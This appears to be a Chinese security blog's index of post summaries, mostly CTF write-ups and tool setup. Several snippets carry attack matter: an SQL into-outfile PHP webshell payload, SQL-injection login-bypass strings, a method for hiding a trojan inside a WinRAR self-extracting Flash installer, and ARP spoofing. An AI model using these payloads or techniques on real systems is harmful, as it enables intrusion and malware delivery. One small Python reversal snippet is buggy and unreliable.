逆向菜狗

摘要： select "<?php @eval($_POST['#@!']);?>" into outfile "/tmp/muma.php"page=/tmp/muma.phpdata://text/plain,%3C?php%20$a_code%20=%20file_get_contents(%27fl 阅读全文

摘要： 题目要求v1是字符串、v2是数字并且他们的md5值相同显示flag，因此： v1和v2的MD5值为0e即可，因此可以是： v1=QNKCDZO&v2=240610708 这里附上常见的0E开头的MD5 0e开头的md5和原值： QNKCDZO 0e83040045199349405802421990 阅读全文

摘要： 1、更新源 2、下载并安装pwntools 1 cd ~ 2 git clone https://github.com/Gallopsled/pwntools 3 cd pwntools 4 5 apt-get install python3 python3-pip python3-dev git 阅读全文

摘要： kali安装pip 0x01 pip2(python2)安装： wget https://bootstrap.pypa.io/2.6/get-pip.py 这里提示下：如果是2.7的版本，就使用这个wget https://bootstrap.pypa.io/2.7/get-pip.py pytho 阅读全文

摘要： 题目： 分析代码： 需要满足2个条件： 1、username=admin并且password!=admin 2、cookie中的check必须等于secret拼接username拼接password的md5值 secret提示是10 ahash的值是由secret以及adminadmin的md5值组 阅读全文

摘要： 更换中文： sudo dpkg-reconfigure locales 取消en_US.UTF-8 选择zh_CN.GBK、zh_CN.UTF-8 （用空格选定） 接着选择字符： zh_CN.UTF-8 重启reboot 解决编码错误显示问题,终端输入： sudo apt-get install t 阅读全文

摘要： 绕过登陆常用万能密码 所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。分享给大家、、 希望对大家有所帮助！asp aspx万能密码1："or "a"="a2：'.).or.('.a.'='.a 3：or 1=1--4：'or 1=1- 阅读全文

摘要： a="3432535541787"1:print(a[::-1])2:b=list(a)b.reverse()print(''.join(b))3:c=len(a)-1str_1=[]while(c>=0): str_1.append(a[c]) c -=1print(''.join(c)) 阅读全文

摘要： 利用Winrar自解压捆绑文件 这篇文件没什么技术含量，也是无意间从自己看视频时学会的。 第一步：准备一个可执行木马文件，和一个flash安装文件 第二步：将这2个文件同时选择，然后右击，添加到压缩文件，选择创建自解压文件。 第三步：高级，自解压选项，设置解压后文件的存储路径 第四步：设置解压路径为 阅读全文

摘要： Kali-linux Arpspoof工具 Arpspoof是一个非常好的ARP欺骗的源代码程序。它的运行不会影响整个网络的通信，该工具通过替换传输中的数据从而达到对目标的欺骗。本节将介绍Arpspoof工具的 使用。 9.8.1 URL流量操纵攻击 URL流量操作非常类似于中间人攻击，通过目标主机 阅读全文